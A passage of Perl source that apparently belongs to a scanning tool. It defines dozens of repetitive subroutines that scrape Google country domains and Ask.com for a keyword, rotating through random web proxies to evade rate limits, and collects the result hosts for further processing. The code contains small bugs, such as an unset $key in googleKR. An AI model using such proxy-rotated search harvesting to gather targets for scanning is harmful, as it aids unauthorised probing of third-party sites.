                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleCU() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy .'?q=https%3A%2F%2Fwww.google.com.cu%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCU%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(2);
sub googleCL() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.cl%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCL%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleMX() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.mx%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryMX%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleAU() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.au%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAU%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(2);
sub googleRU() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.ru%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryRU%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleAT() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.at%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAT%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googlePL() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.pl%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryPL%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(3);
sub googleIL() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.il%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryIL%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleTR() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.tr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleUA() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.ua%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryUA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(3);
sub googleGR() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.gr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryGR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleJP() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.jp%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryJP%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleCN() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.cn%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCN%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(3);
sub googleMY() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.my%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryMY%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleTH() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.th%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTH%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleIN() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.in%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryIN%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(3);
sub googleKR() {
    my @list;
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.kr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryKR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleRO() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ro%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryRO%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googleTW() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.tw%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryTW%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}
sleep(3);
sub googleZA() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.za%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryZA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub googlePT() {
    my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		#my @n_array = rand(@webproxxxyy);
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.pt%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryPT%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
		my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

sub ask() {
	my @list;
	my $key = $_[0];
	for (my $i=1; $i<=100; $i+=1) {
		my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
		my $res = &search_engine_query($search);
		while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
			if ($link !~ /ask\.com/){
				my @grep = &links($link);
				push(@list,@grep);
			}
		}
	}
	return @list;
}

sub askCA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askCA\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askDE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askDE\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askIT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askIT\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askUK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askUK\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askFR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askFR\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askES() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askES\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askRU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askRU\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askNL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askNL\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askPL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askPL\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askAT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askAT\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askSE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
